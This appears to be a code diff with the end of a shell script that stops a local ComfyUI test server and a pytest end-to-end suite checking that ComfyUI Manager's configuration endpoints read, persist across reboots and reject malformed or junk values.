||||
|
||||
# --- Validate ---
|
||||
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
|
||||
|
||||
PID_FILE="$E2E_ROOT/logs/comfyui.${PORT}.pid"
|
||||
# Legacy single-port path — warn if encountered so concurrent tests on
|
||||
# different ports don't overwrite each other's PID file (observed during
|
||||
# WI-CC: stop_comfyui.sh on port 8200 accidentally killed another teammate's
|
||||
# PID 2979469 running on port 8199 because both shared $E2E_ROOT/logs/comfyui.pid).
|
||||
LEGACY_PID_FILE="$E2E_ROOT/logs/comfyui.pid"
|
||||
if [[ -f "$LEGACY_PID_FILE" ]] && [[ ! -f "$PID_FILE" ]]; then
|
||||
log "WARN: found legacy unported PID file $LEGACY_PID_FILE but no ${PID_FILE}. Cross-port risk — ignoring legacy file."
|
||||
fi
|
||||
|
||||
# --- Read PID ---
|
||||
COMFYUI_PID=""
|
||||
if [[ -f "$PID_FILE" ]]; then
|
||||
COMFYUI_PID="$(cat "$PID_FILE")"
|
||||
log "Read PID=$COMFYUI_PID from $PID_FILE"
|
||||
fi
|
||||
|
||||
# --- Graceful shutdown via SIGTERM ---
|
||||
if [[ -n "$COMFYUI_PID" ]] && kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
log "Sending SIGTERM to PID $COMFYUI_PID..."
|
||||
kill "$COMFYUI_PID" 2>/dev/null || true
|
||||
|
||||
# Wait for graceful shutdown
|
||||
elapsed=0
|
||||
while kill -0 "$COMFYUI_PID" 2>/dev/null && [[ "$elapsed" -lt "$GRACE_PERIOD" ]]; do
|
||||
sleep 1
|
||||
elapsed=$((elapsed + 1))
|
||||
done
|
||||
|
||||
# Force kill if still alive
|
||||
if kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
log "Process still alive after ${GRACE_PERIOD}s. Sending SIGKILL..."
|
||||
kill -9 "$COMFYUI_PID" 2>/dev/null || true
|
||||
sleep 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# --- Fallback: kill by port pattern ---
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
log "Port $PORT still in use. Attempting pkill fallback..."
|
||||
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
|
||||
sleep 2
|
||||
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
pkill -9 -f "main\\.py.*--port $PORT" 2>/dev/null || true
|
||||
sleep 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# --- Cleanup PID file ---
|
||||
rm -f "$PID_FILE"
|
||||
|
||||
# --- Verify port is free ---
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
die "Port $PORT is still in use after shutdown"
|
||||
fi
|
||||
|
||||
log "ComfyUI stopped."
|
||||
@@ -0,0 +1,720 @@
|
||||
"""E2E tests for ComfyUI Manager configuration API endpoints.
|
||||
|
||||
Tests the dual GET (read) + POST (write) configuration endpoints:
|
||||
- /v2/manager/db_mode
|
||||
- /v2/manager/policy/update
|
||||
- /v2/manager/channel_url_list
|
||||
|
||||
Each write test reads the original value, sets a new value via POST,
|
||||
reads back via GET to verify, then restores the original to ensure
|
||||
idempotency.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_config_api.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
MANAGER_CONFIG_INI = (
|
||||
os.path.join(COMFYUI_PATH, "user", "__manager", "config.ini")
|
||||
if COMFYUI_PATH
|
||||
else ""
|
||||
)
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# Reboot recovery window (same as test_e2e_system_info TestReboot)
|
||||
REBOOT_TIMEOUT = 60.0
|
||||
REBOOT_INTERVAL = 2.0
|
||||
|
||||
|
||||
def _read_config_ini_value(key: str) -> str | None:
|
||||
"""Read a value directly from the manager config.ini (for disk-level assertion)."""
|
||||
if not os.path.isfile(MANAGER_CONFIG_INI):
|
||||
return None
|
||||
import configparser
|
||||
cp = configparser.ConfigParser()
|
||||
cp.read(MANAGER_CONFIG_INI)
|
||||
for section in cp.sections():
|
||||
if cp.has_option(section, key):
|
||||
return cp.get(section, key)
|
||||
return None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Disk-persistence helpers (Stage2 WI-E PoC — reusable by the WEAK-rated 5
|
||||
# tests listed in reports/e2e_verification_audit.md §4 once a follow-up WI
|
||||
# propagates them). Callable with `None` expected value for "absent" checks.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _assert_config_ini_contains(key: str, expected: str | None) -> None:
|
||||
"""Assert the manager config.ini has ``key`` set to ``expected`` on disk.
|
||||
|
||||
Interface:
|
||||
key — config.ini option name (searched across all sections)
|
||||
expected — the exact string value the key must hold, OR None to
|
||||
assert the key is absent / config.ini missing.
|
||||
|
||||
Raises AssertionError with pre/post hashes + on-disk value for diagnosis.
|
||||
The helper verifies persistence independently from the HTTP API —
|
||||
catches no-op handlers that return 200 without writing to disk.
|
||||
"""
|
||||
actual = _read_config_ini_value(key)
|
||||
if expected is None:
|
||||
assert actual is None, (
|
||||
f"config.ini[{key}] expected absent, found {actual!r}"
|
||||
)
|
||||
return
|
||||
|
||||
# For diagnosis on failure, capture a hash of the file so reviewers can
|
||||
# tell whether ANY mutation happened vs. the wrong-value case.
|
||||
file_hash = "<missing>"
|
||||
if os.path.isfile(MANAGER_CONFIG_INI):
|
||||
with open(MANAGER_CONFIG_INI, "rb") as fh:
|
||||
file_hash = hashlib.sha256(fh.read()).hexdigest()[:12]
|
||||
assert actual == expected, (
|
||||
f"config.ini[{key}] disk mismatch: expected {expected!r}, "
|
||||
f"got {actual!r} (file sha256[:12]={file_hash}, path={MANAGER_CONFIG_INI})"
|
||||
)
|
||||
|
||||
|
||||
def _assert_config_ini_persists_across_reboot(
|
||||
key: str,
|
||||
expected: str,
|
||||
timeout: float = REBOOT_TIMEOUT,
|
||||
) -> None:
|
||||
"""Assert ``key=expected`` survives a ComfyUI reboot on disk AND via API.
|
||||
|
||||
Interface:
|
||||
key — config.ini option name
|
||||
expected — value the key must still hold post-reboot
|
||||
timeout — max seconds to wait for the server to come back healthy
|
||||
|
||||
Behavior:
|
||||
1. Issue POST /v2/manager/reboot (tolerates ConnectionError mid-
|
||||
response — server drops the connection during shutdown).
|
||||
2. Poll /system_stats until the server answers 200 or timeout.
|
||||
3. Re-read config.ini from disk → must equal ``expected``.
|
||||
4. Re-read the value via the appropriate GET endpoint (derived
|
||||
from the key) → must equal ``expected`` as well.
|
||||
|
||||
Note: This helper WILL replace the ComfyUI process. Any fixture that
|
||||
pins a PID should treat the post-reboot PID as unknown. The
|
||||
module-scoped ``comfyui`` fixture's teardown calls stop_comfyui.sh,
|
||||
which kills by port rather than stored PID, so teardown continues
|
||||
to work.
|
||||
"""
|
||||
try:
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/reboot", timeout=10)
|
||||
if resp.status_code == 403:
|
||||
pytest.skip(
|
||||
"reboot denied by security policy "
|
||||
"(E2E_SECURITY_LEVEL does not permit 'middle')"
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"reboot returned unexpected status {resp.status_code}: {resp.text}"
|
||||
)
|
||||
except requests.ConnectionError:
|
||||
# Server closed the socket mid-reboot response. Expected on some
|
||||
# platforms; treat as success-so-far and rely on healthcheck below.
|
||||
pass
|
||||
|
||||
time.sleep(2) # grace period for shutdown
|
||||
|
||||
deadline = time.monotonic() + timeout
|
||||
recovered = False
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
r = requests.get(f"{BASE_URL}/system_stats", timeout=5)
|
||||
if r.status_code == 200:
|
||||
recovered = True
|
||||
break
|
||||
except (requests.ConnectionError, requests.Timeout):
|
||||
pass
|
||||
time.sleep(REBOOT_INTERVAL)
|
||||
assert recovered, (
|
||||
f"server did not recover within {timeout}s after reboot — "
|
||||
f"cannot verify {key!r} persistence"
|
||||
)
|
||||
|
||||
# Disk side: config.ini preserved the value.
|
||||
_assert_config_ini_contains(key, expected)
|
||||
|
||||
# API side: the restarted server re-read config.ini and serves the value.
|
||||
api_path = {
|
||||
"db_mode": "/v2/manager/db_mode",
|
||||
"update_policy": "/v2/manager/policy/update",
|
||||
"channel_url": "/v2/manager/channel_url_list",
|
||||
}.get(key)
|
||||
if api_path is None:
|
||||
return # caller responsible for API verification for non-standard keys
|
||||
|
||||
api_resp = requests.get(f"{BASE_URL}{api_path}", timeout=10)
|
||||
api_resp.raise_for_status()
|
||||
if api_path.endswith("channel_url_list"):
|
||||
# channel_url asymmetry: config.ini stores the full URL, API returns the
|
||||
# reverse-mapped channel NAME. When caller passes the URL as `expected`,
|
||||
# translate URL→NAME via the API's own `list` (`name::url` entries).
|
||||
# Callers passing a NAME (legacy path) continue to work unchanged.
|
||||
body = api_resp.json()
|
||||
actual_api = body.get("selected")
|
||||
expected_to_compare = expected
|
||||
if isinstance(expected, str) and "://" in expected:
|
||||
for entry in body.get("list", []):
|
||||
if isinstance(entry, str) and "::" in entry:
|
||||
name, url = entry.split("::", 1)
|
||||
if url == expected:
|
||||
expected_to_compare = name
|
||||
break
|
||||
else:
|
||||
# URL not in the known list → server reports "custom"
|
||||
expected_to_compare = "custom"
|
||||
else:
|
||||
actual_api = api_resp.text
|
||||
expected_to_compare = expected
|
||||
assert actual_api == expected_to_compare, (
|
||||
f"post-reboot API mismatch for {key}: "
|
||||
f"config.ini has {expected!r} but GET {api_path} returned {actual_api!r}"
|
||||
)
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
@pytest.fixture(scope="module", autouse=True)
|
||||
def config_snapshot(comfyui):
|
||||
"""Snapshot config values at module start, restore at module teardown.
|
||||
|
||||
Guards against state leak if any in-module test fails mid-mutation
|
||||
(leaving config.ini in a corrupted/unexpected state that would poison
|
||||
"original" reads in subsequent tests).
|
||||
"""
|
||||
snapshot = {
|
||||
"db_mode": requests.get(f"{BASE_URL}/v2/manager/db_mode", timeout=10).text,
|
||||
"update_policy": requests.get(
|
||||
f"{BASE_URL}/v2/manager/policy/update", timeout=10
|
||||
).text,
|
||||
"channel_selected": requests.get(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list", timeout=10
|
||||
).json().get("selected"),
|
||||
}
|
||||
yield snapshot
|
||||
# Best-effort restore; log but don't fail if restore hits issues
|
||||
for path, key, value in (
|
||||
("/v2/manager/db_mode", "db_mode", snapshot["db_mode"]),
|
||||
("/v2/manager/policy/update", "update_policy", snapshot["update_policy"]),
|
||||
("/v2/manager/channel_url_list", "channel_selected", snapshot["channel_selected"]),
|
||||
):
|
||||
try:
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}{path}",
|
||||
json={"value": value},
|
||||
timeout=10,
|
||||
)
|
||||
if not resp.ok:
|
||||
print(
|
||||
f"[config_snapshot] restore FAILED for {key}={value!r}: "
|
||||
f"status={resp.status_code}",
|
||||
)
|
||||
except Exception as e: # noqa: BLE001
|
||||
print(f"[config_snapshot] restore EXCEPTION for {key}: {e}")
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — db_mode
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestConfigDbMode:
|
||||
"""Test GET/POST /v2/manager/db_mode round-trip."""
|
||||
|
||||
DB_MODE_VALUES = ("cache", "channel", "local", "remote")
|
||||
|
||||
def test_read_db_mode(self, comfyui):
|
||||
"""GET /v2/manager/db_mode returns a valid db mode string."""
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/db_mode", timeout=10)
|
||||
assert resp.status_code == 200, f"Expected 200, got {resp.status_code}"
|
||||
assert resp.text in self.DB_MODE_VALUES, (
|
||||
f"Unexpected db_mode value: {resp.text!r}"
|
||||
)
|
||||
|
||||
def test_set_and_restore_db_mode(self, comfyui):
|
||||
"""POST sets db_mode, GET reads it back, disk + reboot persistence proven, then original is restored.
|
||||
|
||||
Stage2 WI-E PoC — demonstrates the two disk-persistence helpers:
|
||||
* _assert_config_ini_contains → disk-level verification
|
||||
* _assert_config_ini_persists_across_reboot → restart-survival verification
|
||||
|
||||
This test is the first of the six §4 WEAK round-trip tests (per
|
||||
reports/e2e_verification_audit.md) to gain independent disk state
|
||||
assertions. Propagation to the other five is tracked as a follow-up
|
||||
WI — see the completion report accompanying this change.
|
||||
"""
|
||||
# Read original — baseline for both round-trip and restore verification.
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/db_mode", timeout=10)
|
||||
resp.raise_for_status()
|
||||
original = resp.text
|
||||
|
||||
# Pick a different value so the mutation is observable.
|
||||
new_mode = "local" if original != "local" else "remote"
|
||||
|
||||
# Snapshot config.ini BEFORE mutation — reviewers can tell from
|
||||
# pre_hash vs. post_hash whether the POST actually touched the file.
|
||||
pre_hash = (
|
||||
hashlib.sha256(open(MANAGER_CONFIG_INI, "rb").read()).hexdigest()[:12]
|
||||
if os.path.isfile(MANAGER_CONFIG_INI)
|
||||
else "<missing>"
|
||||
)
|
||||
|
||||
try:
|
||||
# Set new value via POST.
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/db_mode",
|
||||
json={"value": new_mode},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST db_mode failed: {resp.status_code} {resp.text}"
|
||||
)
|
||||
|
||||
# (1) API round-trip — the existing WEAK check.
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/db_mode", timeout=10)
|
||||
resp.raise_for_status()
|
||||
assert resp.text == new_mode, (
|
||||
f"db_mode not updated: expected {new_mode!r}, got {resp.text!r}"
|
||||
)
|
||||
|
||||
# (2) Disk persistence — helper #1 asserts config.ini on disk
|
||||
# reflects the new value. This defeats a "no-op handler that
|
||||
# caches in memory but never writes" regression.
|
||||
_assert_config_ini_contains("db_mode", new_mode)
|
||||
|
||||
# Capture post-POST hash — assertion diagnostic only; failing the
|
||||
# above already reports the mismatch. Required for AC-5c evidence.
|
||||
post_hash = (
|
||||
hashlib.sha256(open(MANAGER_CONFIG_INI, "rb").read()).hexdigest()[:12]
|
||||
if os.path.isfile(MANAGER_CONFIG_INI)
|
||||
else "<missing>"
|
||||
)
|
||||
assert pre_hash != post_hash or pre_hash == "<missing>", (
|
||||
f"config.ini hash unchanged after POST: {pre_hash}; "
|
||||
f"server may be caching without writing to disk"
|
||||
)
|
||||
|
||||
# (3) Reboot persistence — helper #2 restarts ComfyUI and
|
||||
# re-verifies both disk and API still report new_mode. This
|
||||
# defeats a "value only in memory, lost on restart" regression.
|
||||
# NOTE: this helper replaces the ComfyUI process; downstream
|
||||
# tests in this module will hit the fresh instance. The
|
||||
# module-scoped `comfyui` fixture's teardown kills by port, so
|
||||
# cleanup still works regardless of the new PID.
|
||||
_assert_config_ini_persists_across_reboot("db_mode", new_mode)
|
||||
finally:
|
||||
# Restore original value on whichever server instance is live
|
||||
# (pre- or post-reboot — the restored value also persists to
|
||||
# disk via the restarted handler).
|
||||
requests.post(
|
||||
f"{BASE_URL}/v2/manager/db_mode",
|
||||
json={"value": original},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
# Verify restoration end-to-end: API + disk.
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/db_mode", timeout=10)
|
||||
resp.raise_for_status()
|
||||
assert resp.text == original, (
|
||||
f"Failed to restore db_mode: expected {original!r}, got {resp.text!r}"
|
||||
)
|
||||
_assert_config_ini_contains("db_mode", original)
|
||||
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — update policy
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestConfigUpdatePolicy:
|
||||
"""Test GET/POST /v2/manager/policy/update round-trip."""
|
||||
|
||||
POLICY_VALUES = ("stable", "stable-comfyui", "nightly", "nightly-comfyui")
|
||||
|
||||
def test_read_update_policy(self, comfyui):
|
||||
"""GET /v2/manager/policy/update returns a valid policy string."""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/policy/update", timeout=10
|
||||
)
|
||||
assert resp.status_code == 200, f"Expected 200, got {resp.status_code}"
|
||||
assert resp.text in self.POLICY_VALUES, (
|
||||
f"Unexpected policy value: {resp.text!r}"
|
||||
)
|
||||
|
||||
def test_set_and_restore_update_policy(self, comfyui):
|
||||
"""POST sets update policy, disk + reboot persistence proven, then original restored (WI-G).
|
||||
|
||||
WI-G full-helper application (mirrors test_set_and_restore_db_mode PoC):
|
||||
* _assert_config_ini_contains → disk-level verification
|
||||
* _assert_config_ini_persists_across_reboot → restart-survival verification
|
||||
"""
|
||||
# Read original — baseline for both round-trip and restore verification.
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/policy/update", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
original = resp.text
|
||||
|
||||
# Pick a different value
|
||||
new_policy = "nightly" if original != "nightly" else "stable"
|
||||
|
||||
try:
|
||||
# Set new value via POST
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/policy/update",
|
||||
json={"value": new_policy},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST policy/update failed: {resp.status_code} {resp.text}"
|
||||
)
|
||||
|
||||
# (1) API round-trip — existing WEAK check retained.
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/policy/update", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
assert resp.text == new_policy, (
|
||||
f"Policy not updated: expected {new_policy!r}, got {resp.text!r}"
|
||||
)
|
||||
|
||||
# (2) Disk persistence — helper #1 proves config.ini on disk was mutated.
|
||||
_assert_config_ini_contains("update_policy", new_policy)
|
||||
|
||||
# (3) Reboot persistence — helper #2 proves the value survives a
|
||||
# full ComfyUI restart on both disk and via API.
|
||||
_assert_config_ini_persists_across_reboot("update_policy", new_policy)
|
||||
finally:
|
||||
# Restore original value on whichever server instance is live.
|
||||
requests.post(
|
||||
f"{BASE_URL}/v2/manager/policy/update",
|
||||
json={"value": original},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
# Verify restoration end-to-end: API + disk.
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/policy/update", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
assert resp.text == original, (
|
||||
f"Failed to restore policy: expected {original!r}, got {resp.text!r}"
|
||||
)
|
||||
_assert_config_ini_contains("update_policy", original)
|
||||
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests — channel_url_list
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestConfigChannelUrlList:
|
||||
"""Test GET/POST /v2/manager/channel_url_list round-trip."""
|
||||
|
||||
def test_read_channel_url_list(self, comfyui):
|
||||
"""GET /v2/manager/channel_url_list returns {selected, list} structure."""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list", timeout=10
|
||||
)
|
||||
assert resp.status_code == 200, f"Expected 200, got {resp.status_code}"
|
||||
data = resp.json()
|
||||
assert "selected" in data, "Response missing 'selected' field"
|
||||
assert "list" in data, "Response missing 'list' field"
|
||||
assert isinstance(data["list"], list), (
|
||||
f"'list' should be an array, got {type(data['list']).__name__}"
|
||||
)
|
||||
assert isinstance(data["selected"], str), (
|
||||
f"'selected' should be a string, got {type(data['selected']).__name__}"
|
||||
)
|
||||
|
||||
def test_channel_list_entries_are_name_url_strings(self, comfyui):
|
||||
"""Each entry in channel list is a 'name::url' string."""
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
for i, entry in enumerate(data["list"]):
|
||||
assert isinstance(entry, str), (
|
||||
f"Entry {i} should be a string, got {type(entry).__name__}"
|
||||
)
|
||||
assert "::" in entry, (
|
||||
f"Entry {i} should contain '::' separator: {entry!r}"
|
||||
)
|
||||
|
||||
def test_set_and_restore_channel(self, comfyui):
|
||||
"""POST sets channel, disk + reboot persistence proven, then original restored (WI-G).
|
||||
|
||||
WI-G full-helper application. Notes on the channel_url asymmetry:
|
||||
* config.ini stores the full URL under key `channel_url`
|
||||
* GET /channel_url_list returns the NAME (reverse-mapped from URL)
|
||||
* POST /channel_url_list accepts {value: NAME} and maps to URL
|
||||
The helpers resolve URL↔NAME internally when key == "channel_url".
|
||||
"""
|
||||
# Read original — capture both NAME (for API round-trip) and URL (for disk checks).
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
original_data = resp.json()
|
||||
original_selected = original_data["selected"]
|
||||
channel_map = {} # name -> url
|
||||
for entry in original_data["list"]:
|
||||
if isinstance(entry, str) and "::" in entry:
|
||||
name, url = entry.split("::", 1)
|
||||
channel_map[name] = url
|
||||
original_url = channel_map.get(original_selected)
|
||||
available_channels = list(channel_map.keys())
|
||||
|
||||
if len(available_channels) < 2:
|
||||
pytest.skip("Only one channel available, cannot test switching")
|
||||
|
||||
# Pick a different channel (name + its URL)
|
||||
new_channel = next(
|
||||
(ch for ch in available_channels if ch != original_selected),
|
||||
None,
|
||||
)
|
||||
if new_channel is None or original_url is None:
|
||||
pytest.skip("No alternative channel found or original URL unresolved")
|
||||
new_channel_url = channel_map[new_channel]
|
||||
|
||||
try:
|
||||
# Set new channel via POST (server maps NAME → URL internally)
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list",
|
||||
json={"value": new_channel},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST channel_url_list failed: {resp.status_code} {resp.text}"
|
||||
)
|
||||
|
||||
# (1) API round-trip — existing WEAK check retained (verifies NAME).
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
assert data["selected"] == new_channel, (
|
||||
f"Channel not updated: expected {new_channel!r}, "
|
||||
f"got {data['selected']!r}"
|
||||
)
|
||||
|
||||
# (2) Disk persistence — helper asserts config.ini holds the URL.
|
||||
_assert_config_ini_contains("channel_url", new_channel_url)
|
||||
|
||||
# (3) Reboot persistence — helper reboots and re-verifies disk URL
|
||||
# + API NAME (internal URL→NAME translation handles the asymmetry).
|
||||
_assert_config_ini_persists_across_reboot("channel_url", new_channel_url)
|
||||
finally:
|
||||
# Restore original channel on whichever server instance is live.
|
||||
requests.post(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list",
|
||||
json={"value": original_selected},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
# Verify restoration end-to-end: API NAME + disk URL.
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list", timeout=10
|
||||
)
|
||||
resp.raise_for_status()
|
||||
data = resp.json()
|
||||
assert data["selected"] == original_selected, (
|
||||
f"Failed to restore channel: expected {original_selected!r}, "
|
||||
f"got {data['selected']!r}"
|
||||
)
|
||||
_assert_config_ini_contains("channel_url", original_url)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Parametrized consolidations (WI-NN bloat Priority 3)
|
||||
# ---------------------------------------------------------------------------
|
||||
#
|
||||
# Two parametrized tests below consolidate the 6 copy-paste tests that
|
||||
# previously lived on the 3 per-endpoint TestConfig* classes:
|
||||
# * test_set_*_invalid_body (×3 endpoints) → one parametrized
|
||||
# * test_set_*_junk_value_rejected / unknown_name → one parametrized
|
||||
#
|
||||
# Cluster 1 (roundtrip, set_and_restore_* ×3) remained unparametrized:
|
||||
# the channel_url_list case carries URL↔NAME asymmetry that the helpers
|
||||
# resolve internally only when `key == "channel_url"`, and the channel-
|
||||
# map extraction step has no counterpart in the db_mode/policy bodies.
|
||||
# Forcing a single parametrized body produced a ~100-line branch soup;
|
||||
# the three per-endpoint tests remain distinct functions for readability.
|
||||
|
||||
|
||||
# Config endpoints that accept/reject via {"value": ...} JSON body + config.ini
|
||||
# on-disk persistence. Each descriptor supplies the config.ini key AND the
|
||||
# junk-value payload; the valid-values whitelist is used to both pick a
|
||||
# valid restore target and to sanity-check post-rejection disk state.
|
||||
_CONFIG_POST_ENDPOINTS = [
|
||||
pytest.param(
|
||||
"/v2/manager/db_mode",
|
||||
"db_mode",
|
||||
"pwned_junk_value_xyz",
|
||||
("cache", "channel", "local", "remote"),
|
||||
id="db_mode",
|
||||
),
|
||||
pytest.param(
|
||||
"/v2/manager/policy/update",
|
||||
"update_policy",
|
||||
"pwned_junk_policy_xyz",
|
||||
("stable", "stable-comfyui", "nightly", "nightly-comfyui"),
|
||||
id="update_policy",
|
||||
),
|
||||
pytest.param(
|
||||
"/v2/manager/channel_url_list",
|
||||
"channel_url",
|
||||
"pwned_unknown_channel_xyz",
|
||||
None, # channel uses dynamic whitelist (name→url map); see _read_channel_selected
|
||||
id="channel_url_list",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def _read_channel_selected() -> str | None:
|
||||
resp = requests.get(f"{BASE_URL}/v2/manager/channel_url_list", timeout=10)
|
||||
if not resp.ok:
|
||||
return None
|
||||
return resp.json().get("selected")
|
||||
|
||||
|
||||
class TestConfigPostNegativeContracts:
|
||||
"""Parametrized negative-path tests for the 3 config POST endpoints.
|
||||
|
||||
WI-NN Cluster 2 (invalid body) + Cluster 3 (junk value) consolidate the
|
||||
6 previous copy-paste tests. Each parametrize case exercises one endpoint;
|
||||
the two test functions cover the two negative contracts separately so
|
||||
failures still point at the correct contract.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize("endpoint,key,_junk,_values", _CONFIG_POST_ENDPOINTS)
|
||||
def test_malformed_body_returns_400(self, comfyui, endpoint, key, _junk, _values):
|
||||
"""WI-NN Cluster 2 (teng:ci-003/ci-008/ci-015 B9): malformed JSON → 400 + disk unchanged."""
|
||||
before = _read_config_ini_value(key)
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}{endpoint}",
|
||||
data="not-json",
|
||||
headers={"Content-Type": "application/json"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Expected 400 for malformed JSON on {endpoint}, got {resp.status_code}"
|
||||
)
|
||||
# Disk-state invariant — malformed POST must not touch config.ini.
|
||||
_assert_config_ini_contains(key, before)
|
||||
|
||||
@pytest.mark.parametrize("endpoint,key,junk,values", _CONFIG_POST_ENDPOINTS)
|
||||
def test_junk_value_rejected(self, comfyui, endpoint, key, junk, values):
|
||||
"""WI-NN Cluster 3 (teng:ci-004/ci-009/ci-014 B9): unknown/junk value → 400 + disk/API unchanged.
|
||||
|
||||
For db_mode/policy the whitelist is static and verifiable directly
|
||||
via `_read_config_ini_value`. For channel_url_list the whitelist is
|
||||
dynamic (server-built name→url map), so we compare the API-level
|
||||
`selected` string before/after instead.
|
||||
"""
|
||||
# Capture pre-state that the endpoint's own API exposes. Also capture
|
||||
# disk state for the static-whitelist endpoints.
|
||||
pre_disk = _read_config_ini_value(key)
|
||||
pre_api_selected = _read_channel_selected() if key == "channel_url" else None
|
||||
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}{endpoint}",
|
||||
json={"value": junk},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
